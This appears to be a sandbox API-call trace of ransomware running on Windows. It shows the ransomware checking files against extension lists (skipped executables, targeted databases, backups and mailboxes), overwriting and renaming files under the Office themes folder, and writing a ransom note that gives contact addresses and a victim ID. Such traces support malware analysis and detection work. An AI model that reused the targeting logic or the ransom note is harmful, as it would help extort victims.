	[0085.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3f20
	[0085.382] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.~~~~")) returned 1
	[0085.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3f20 | out: hHeap=0x300000) returned 1
	[0085.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0085.383] GetLastError () returned 0x0
	[0085.383] RtlWakeConditionVariable () returned 0x365f70
	[0085.383] GetCurrentThreadId () returned 0xaf0
	[0085.384] GetCurrentThreadId () returned 0xaf0
	[0085.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abb58
	[0085.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f35f0 | out: hHeap=0x300000) returned 1
	[0085.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ce40 | out: hHeap=0x300000) returned 1
	[0085.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f35f0
	[0085.384] lstrlenW (lpString=".scr") returned 4
	[0085.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0085.384] lstrlenW (lpString=".cmd") returned 4
	[0085.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0085.384] lstrlenW (lpString=".dll") returned 4
	[0085.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0085.384] lstrlenW (lpString=".bat") returned 4
	[0085.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0085.384] lstrlenW (lpString=".cpl") returned 4
	[0085.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0085.384] lstrlenW (lpString=".sys") returned 4
	[0085.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0085.384] lstrlenW (lpString=".msc") returned 4
	[0085.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0085.384] lstrlenW (lpString=".com") returned 4
	[0085.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0085.384] lstrlenW (lpString=".lnk") returned 4
	[0085.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0085.384] lstrlenW (lpString=".msp") returned 4
	[0085.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0085.384] lstrlenW (lpString=".pif") returned 4
	[0085.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0085.385] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0085.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.385] lstrlenW (lpString=".sqb") returned 4
	[0085.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0085.385] lstrlenW (lpString=".ost") returned 4
	[0085.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0085.385] lstrlenW (lpString=".txt") returned 4
	[0085.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0085.385] lstrlenW (lpString=".mdt") returned 4
	[0085.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0085.386] lstrlenW (lpString=".BDB") returned 4
	[0085.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0085.386] lstrlenW (lpString=".eql") returned 4
	[0085.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0085.386] lstrlenW (lpString=".DBF") returned 4
	[0085.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0085.386] lstrlenW (lpString=".EQL") returned 4
	[0085.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0085.386] lstrlenW (lpString=".FDB") returned 4
	[0085.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0085.386] lstrlenW (lpString=".EDB") returned 4
	[0085.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0085.386] lstrlenW (lpString=".DACPAC") returned 7
	[0085.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0085.386] lstrlenW (lpString=".VHD") returned 4
	[0085.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0085.386] lstrlenW (lpString=".DBV") returned 4
	[0085.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0085.386] lstrlenW (lpString=".dacpac") returned 7
	[0085.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0085.386] lstrlenW (lpString=".sdf") returned 4
	[0085.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0085.387] lstrlenW (lpString=".accdb") returned 6
	[0085.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0085.387] lstrlenW (lpString=".DBX") returned 4
	[0085.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0085.387] lstrlenW (lpString=".MDT") returned 4
	[0085.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0085.387] lstrlenW (lpString=".SQB") returned 4
	[0085.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0085.387] lstrlenW (lpString=".vhd") returned 4
	[0085.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0085.387] lstrlenW (lpString=".bac") returned 4
	[0085.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0085.387] lstrlenW (lpString=".mdf") returned 4
	[0085.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0085.387] lstrlenW (lpString=".BAK") returned 4
	[0085.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0085.387] lstrlenW (lpString=".BAC") returned 4
	[0085.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0085.387] lstrlenW (lpString=".dbs") returned 4
	[0085.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0085.387] lstrlenW (lpString=".vhdx") returned 5
	[0085.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0085.387] lstrlenW (lpString=".NDF") returned 4
	[0085.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0085.388] lstrlenW (lpString=".dat") returned 4
	[0085.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0085.388] lstrlenW (lpString=".DBS") returned 4
	[0085.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0085.388] lstrlenW (lpString=".CKP") returned 4
	[0085.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0085.388] lstrlenW (lpString=".edb") returned 4
	[0085.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0085.388] lstrlenW (lpString=".PST") returned 4
	[0085.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0085.388] lstrlenW (lpString=".dbf") returned 4
	[0085.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0085.388] lstrlenW (lpString=".SQL") returned 4
	[0085.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0085.388] lstrlenW (lpString=".pst") returned 4
	[0085.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0085.388] lstrlenW (lpString=".dbv") returned 4
	[0085.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0085.388] lstrlenW (lpString=".SDF") returned 4
	[0085.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0085.388] lstrlenW (lpString=".dtxs") returned 5
	[0085.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0085.388] lstrlenW (lpString=".db3") returned 4
	[0085.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0085.388] lstrlenW (lpString=".OST") returned 4
	[0085.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0085.389] lstrlenW (lpString=".dbx") returned 4
	[0085.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0085.389] lstrlenW (lpString=".DB3") returned 4
	[0085.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0085.389] lstrlenW (lpString=".DAT") returned 4
	[0085.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0085.389] lstrlenW (lpString=".VHDX") returned 5
	[0085.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0085.389] lstrlenW (lpString=".ndf") returned 4
	[0085.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0085.389] lstrlenW (lpString=".DB") returned 3
	[0085.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0085.389] lstrlenW (lpString=".sql") returned 4
	[0085.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0085.389] lstrlenW (lpString=".MYD") returned 4
	[0085.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0085.389] lstrlenW (lpString=".DBT") returned 4
	[0085.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0085.389] lstrlenW (lpString=".ACCDB") returned 6
	[0085.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0085.389] lstrlenW (lpString=".fdb") returned 4
	[0085.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0085.390] lstrlenW (lpString=".bak") returned 4
	[0085.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0085.390] lstrlenW (lpString=".myd") returned 4
	[0085.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0085.390] lstrlenW (lpString=".DTXS") returned 5
	[0085.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0085.390] lstrlenW (lpString=".ckp") returned 4
	[0085.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0085.390] lstrlenW (lpString=".dbt") returned 4
	[0085.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0085.390] lstrlenW (lpString=".db") returned 3
	[0085.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0085.390] lstrlenW (lpString=".TXT") returned 4
	[0085.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0085.390] lstrlenW (lpString=".MDF") returned 4
	[0085.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0085.390] lstrlenW (lpString=".bdb") returned 4
	[0085.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0085.390] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0085.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.391] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0085.392] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.392] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0085.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0085.392] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20538230581) returned 1
	[0085.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9cb6be30, dwHighDateTime=0x1d60e1e)) 
	[0085.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0085.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0085.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0085.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ce40
	[0085.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ce40 | out: hHeap=0x300000) returned 1
	[0085.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3fc8
	[0085.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3fc8 | out: hHeap=0x300000) returned 1
	[0085.393] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0085.393] GetLastError () returned 0x0
	[0085.393] GetLastError () returned 0x0
	[0085.393] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0085.394] GetLastError () returned 0x0
	[0085.394] GetLastError () returned 0x0
	[0085.396] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff6f08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.396] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x90f8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x90f8, lpOverlapped=0x0) returned 1
	[0085.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.397] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.397] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.397] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.397] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.397] CloseHandle (hObject=0x11c) returned 1
	[0085.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fd00
	[0085.397] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.~~~~")) returned 1
	[0085.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fd00 | out: hHeap=0x300000) returned 1
	[0085.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0085.401] GetLastError () returned 0x0
	[0085.401] RtlWakeConditionVariable () returned 0x365f70
	[0085.401] GetCurrentThreadId () returned 0xaf0
	[0085.401] GetCurrentThreadId () returned 0xaf0
	[0085.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abb58
	[0085.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3c80 | out: hHeap=0x300000) returned 1
	[0085.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ce08 | out: hHeap=0x300000) returned 1
	[0085.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3c80
	[0085.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.402] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0085.402] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0085.486] CloseHandle (hObject=0x11c) returned 1
	[0085.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3c80 | out: hHeap=0x300000) returned 1
	[0085.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abb58 | out: hHeap=0x300000) returned 1
	[0085.486] RtlWakeConditionVariable () returned 0x365f70
	[0085.486] GetCurrentThreadId () returned 0xaf0
	[0085.486] GetCurrentThreadId () returned 0xaf0
	[0085.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abb58
	[0085.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0085.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d070 | out: hHeap=0x300000) returned 1
	[0085.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0085.487] lstrlenW (lpString=".scr") returned 4
	[0085.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0085.487] lstrlenW (lpString=".cmd") returned 4
	[0085.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0085.487] lstrlenW (lpString=".dll") returned 4
